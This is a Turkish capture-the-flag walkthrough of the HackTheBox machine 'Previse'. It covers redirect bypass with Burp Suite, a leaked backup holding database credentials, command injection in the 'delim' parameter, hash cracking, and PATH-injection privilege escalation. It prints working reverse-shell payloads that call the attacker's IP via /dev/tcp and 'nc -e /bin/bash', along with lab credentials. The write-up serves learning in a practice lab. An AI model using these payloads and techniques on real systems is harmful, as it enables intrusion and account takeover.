Makinaya farklı zamanlarda farklı yerlerden bağlandık bu nedenle hedef makinanın IP adresi ekran görüntülerinde farklılık gösterebilir fakat bunun bir önemi yok. Sonuç itibari ile önemli olan düşünme tekniklerini kavrabilmek ve Hacker bakış açısını edinmek.
Aşağıdaki ekran görüntüsünde HackTheBox üzerinden sanal makina ayağı kaldırarak tarayıcı üzerinden aktiviteleri gerçekleştiriyoruz.
Öncelikle hedef makinaya nmap taraması yapıyoruz. Bu tarama sonucunda SSH ve HTTP portlarının açık olduğunu görüyoruz.
nmap -p- -sV 10.10.11.104
Hemen tarayıcı ile hedef IP adresini ziyaret ettiğimizde karşımıza bir login ekranı geliyor. Alışkanlık birkaç tane varsayılan kullanıcı adı parola deniyoruz ama olmuyor. Daha profesyonel yaklaşmak gerekli 🙂 Bu ekrana brute force saldırı yaparak kullanıcı adı parola deneyebiliriz. Elbette ki bunu manuel değil bir araç aracılığı ile kolayca yapabiliriz fakat keşif aşamasına devam etmek daha doğru olacaktır.
Daha sonra teknik bir sorundan dolayı sanal makinadan değilde kendi Kali makinamızdan bağlanmak zorunda kaldık. Bu nedenle HackTheBox’dan VPN bağlantısını indirdik ve bağlantı sağladık.
openvpn lab_rumeysabzdmr.ovpn / bu benim profilimin bana verdiği dosya, sizin ki farklı olacaktır.
Bağlantıyı yaptıktan sonra hedef makinamıza ping
atarak ulaşıp ulaşamadığımızı kontrol ediyoruz. -c2
ile 2 defa ping atmasını söylüyoruz. Aksi halde sonsuza kadar gideceğini daha önce konuşmuştuk.
ping -c2 10.10.11.104
login.php dışında hangi adresleri var keşfetmek için daha önce de kullandığımız metasploit framework modülü scanner/http/files_dir
‘i kullanacağız. Bu nedenle aşağıdaki adımları takip ediyoruz.
Bu modülde default directory yollar için wordlist var. Otomatik bizim için deniyor.
login.php dosyası dışında başka adresler olduğunu görüyoruz ama 302 kodu veriyor. Bu sayfalarda yönlendirme olduğunu anlıyoruz. accounts.php adresini ziyaret ettiğimizde login.php adresine yönlendirme yaptığını teyit ediyoruz. İsterseniz dirb
ya da gobuster
araçları ile de bu işlemi yapabilirdik.
Yeniden HackTheBox’da sanal makina ayağı kaldırıyoruz. Bu nedenle hedef makina IP adresi değişiyor ama önemli değil. Devam ediyoruz.
Elde ettiğimiz adresleri curl aracı ile indiriyoruz. files.php adresinde dikkatimizi çeken bir şey oluyor. Ekrana basılan sayfa kaynak kodunda siteBackup.zip diye bir şey görüyoruz.
curl http:/10.129.237.179/files.php
Tarayıcı ile files.php adresini ziyaret ediyoruz. login.php adresine yönlendiyor. Bu nedenle Burp Suite proxy aracını kullanarak arada giden trafikte neler olduğunu inceliyoruz.
Trafiği durdurup “Response” kısmında “Render” sekmesine geldiğimizde siteBackup.zip dosyasının göründüğünü görüyoruz.
Bu güzel bir haber! Burp Suite hala aktif tekrardan files.php adresini ziyaret ediyoruz. Duran trafiğe sağ click yapıp “Response to this request” ediyoruz. Trafiği “Forward” ettiğimizde giden paket ekrana gelecektir.
Bu ekranda 302 Found ifadesini 200 OK yapıyoruz ve yönlendirme işlemi olmuyor. Direkt olarak size files.php adresini açıyor.
Aşağıdaki ekran görüntüsünde siteBackup.zip dosyasına erişebildiğimizi görüyoruz. Tıklayınca indirebiliyoruz.
Aynı yöntemi kullanıcı oluşturma kısmında da yapabiliriz. Artık buna ihityacımız yok ama olabildiğini göstermek adına paylaşıyorum. accounts.php adresini Burp Suite açıkken ziyaret ediyoruz. Sayfa arkaplanda var olduğu ve üzerinde sadece yönlendirme olduğu için durdurup “Response to this request” ediyoruz.
Daha sonra istek “Pretty” ekranımıza düşmüş oluyor ve biz 302 Found ifadesini 200 OK yapıyoruz.
Böylelikle ekranımız geliyor ve buradan yeni kullanıcı oluşturabiliyoruz. Tabii üye bilgilerini girdikten sonra trafiği “Forword” etmeye devam ediyoruz.
Daha sonra Burp Suite’yi aradan çıkarıyoruz ve oluşturduğumuz kullanıcı ile giriş yapıyoruz.
siteBackup.zip dosyanı indiyoruz.
Dosya makinamızda Downloads dizinine iniyor.
cd Downloads
ls -l
unzip siteBackup.zip
İnen dosyaları inceliyoruz ve config.php dosyasının içerisinde SQL’in kullanıcı adı ve parolasının olduğunu görüyoruz.
logs.php dosyasının içerisinde de kontrolsuz bir exec kodu olduğunu görüyoruz. Bu iki bulgu attacka devam etmek için süper bilgiler. Makina üzerinde kod çalıştırabilir ve elde ettiğimiz kullanıcı adı parola ile login olmayı deneyebiliriz.
Burp Suite’yi yeniden aktif ettik ve bu logs.php dosyasının çalıştırıldığı sayfaya geldik.
“Submit” ettiğimizde giden pakette delim
değişkenini görebildik. Bunu logs.php dosyasını cat
ile ekrana bastığımızda da görmüştük. Buraya bizim makinamıza bağlantı sağlaması için bir payload yazacağız.
Yukarıdaki adreste Pythonda reverse shell alabileceğiniz payloadsları görebilirsiniz.
ifconfig
ile kendi IP adresimizin 10.10.14.55 olduğunu görüyoruz. Bu makina bizim HackTheBox üzerinde ayağa kaldırdığımız makinanın IP adresidir.
delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.14.55/5050+0>%261'
Tabii trafiği “Forword” etmeden önce bağlantının açılabilmesi için netcat ile dinlememiz gerek. Bu nedenle yeni bir terminal sekmesinde aşağıdaki komut satırını yazarak 5050 portundan kendi makinanımız IP adresini dinlemeye alıyoruz.
nc -vnlp 5050
Burp Suite’den trafiği devam ettirdiğimizde yukarıdaki ekran görntüsünde olduğu gibi bir bağlantı geliyor. Daha sonra pwd
komutu ile hangi dizinde olduğumuza bakıyoruz ve bash ekranına düşmek için aşağıdaki scripti yazıyoruz. id
yazarak kullanıcı haklarımızı öğrenebiliriz.
python -c 'import pty;pty.spawn("/bin/bash")'
id;hostname
ile bağlandığımız bilgisayarın ismini öğreniyoruz. Daha sonra config.php dosyasından elde ettiğimiz kullanıcı adı ve parola ile mysql’e giriş yapıyoruz.
mysql -u root -D previse -p ,
mySQL_p@ssw0rd!:)
show tables;
select * from accounts;
Daha sonra show tables;
komutu ile tabloları görüntülüyoruz. select * from accounts;
komutu ile de tabloladaki kullanıcı bilgilerini ekrana basıyoruz.
Artık elimizde m4lwhere kullanıcısının hash bilgisi var. Super! Hash bilgisini kopyalıyoruz ve hash diye bir dosyanın içerisine yazıyoruz. cat hash
ile ekrana hash dosyasının içeriğini basıyoruz. Sorun yok.
nano hash / bunu daha önce anlatmıştım. Hem dosyayı oluşturmuş oluyoruz hem de içerine bilgiyi yazabiliyoruz.
cat hash
hashcat -a 0 -m 500 hash pass.txt
Hashcat
aracı hash kırmak için kullanır. Bunun yerine “John The Ripper” da kullanabilirsiniz. Hash formatı “md5crpty” olduğu için -m 500
kullandık. pass.txt içerisinde parolalar var. Genelde rockyou.txt dosyasını kullanırlar bu işlem için ama elinizde büyük bir parola listesi varsa onu da verebilirsiniz. Ben kendi oluşturduğum pass.txt dosyasını verdim.
Yukarıdaki ekranda hash değerinden sonra kırılan parolayı görebiliriz.
≡ƒºé = 🧂
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
$1$ 🧂llol$DQpmdvnb7EeuO6UaqRItf.
Hash denemeleri sırasında “tuz” emojiinin karşılığı nedir diye arama yaptığımda yukarıdaki bilgiye ulaştık. Şu noktada bir katkısı olmadı. Direkt copy/paste yapıp verdiğim hash dosyasını da hashcat kırabildi. Olmasaydı bir de bu halini deneyebilirdik.
Eğer “m4lwhere” diye bir kullanıcı olmasaydı kendi oluşturduğumuz rumeysa
kullanıcısı ile neler yapabiliriz onları konuşabilirdik.
Elde ettiğimiz bilgiler ile SSH bağlantısı yapıyoruz.
ssh m4lwhere@10.129.240.117
ilovecody112235!
id
ls -l
cat user.txt
Giriş yaptığımız makinada id
ile hangi kullanıcı haklarına sahip olduğumuzu ls -l
komutları ile de bulunduğumuz dizinde hangi dosya ve dizinlerin olduğunu görüntülüyoruz. user.txt birinci flag değerimiz. Şimdi geldik hak yükseltmeye çünkü bizim root.txt dosyasına ihtiyacımız var.
sudo -l / root yetkileri ile neler çalıştırabiliyoruz ona bakıyoruz.
Çalıştıabildiğimiz access_backup.sh dosyasının içerinde gzip ile bir backup işlemi yapıldığını görüyoruz. Şimdi bu dosyayı kullanarak kendimize root yetkileri ile bağlantı açacağız. Komutları inleyince “path injection” zafiyeti olduğunu görüyoruz. Buradaki “date” değeri üzerinden yürüyebiliriz.
echo $PATH
whereis nc
cd dev/shm
echo "nc 10.10.14.27 7070 -e /bin/bash" > date
chmod 777 date
export PATH=/dev/shm:$PATH
sudo /opt/scripts/access_backup.sh
echo $PATH ile yürülebilir dosyalar için bulunduğumuz yola bakmasını idtedik ama erken oldu 🙂 Gereksiz bir hamleydi 🙂 Çalıştırabildiğimiz access_backup.sh dosyasındaki date değeri için netcat çalıştıracağınız. Bu yüzden “date” değerine echo "nc 10.10.14.27 7070 -e /bin/bash"
konumutunu atıyoruz. Daha sonra date’e chmod
ile 777 veriyoruz. Bu tüm gruplar için yazma, okuma ve çalıştırma izni vermek demek. export PATH=/dev/shm:$PATH
satırı ile de bulunduğumuz dizine diyoruz ki yürütülebilir dosyalar için bu dizine bak. cd
ile shm
dizinine geçme nedenimiz ise bir önceki satırda date’e değer atama yetkimiz olmadığından. Denedik fakat “Permission denied” aldık. Daha sonra hangi dizinde çalıştırabilrimi araştırıp bulduk. shm
dizininin kullanıcı ayrıcalıkları daha fazla olduğundan o dizine geçtik.
nc -lvp 7070
sudo /opt/scripts/access_backup.sh
yapmadan önce netcat ile kendi makinamızda 7070 portunu dinlememiz gerek çünkü access_backup.sh dosyası çalıştığında bizim makinamızın 7070 portuna bağlantı gönderecek.
python -c 'import pty;pty.spawn("/bin/bash")'
Bu komut satırını daha öncede konuşmuştuk. Bash ekranına düşmek için çalıştırıyoruz. Daha sonra pwd
ile hangi dizinde olduğumuza bakıyoruz. Listeleme ve görüntüleme komutları ile root.txt’ye ulaşıyor ve makinayı tamamlıyoruz. 🎈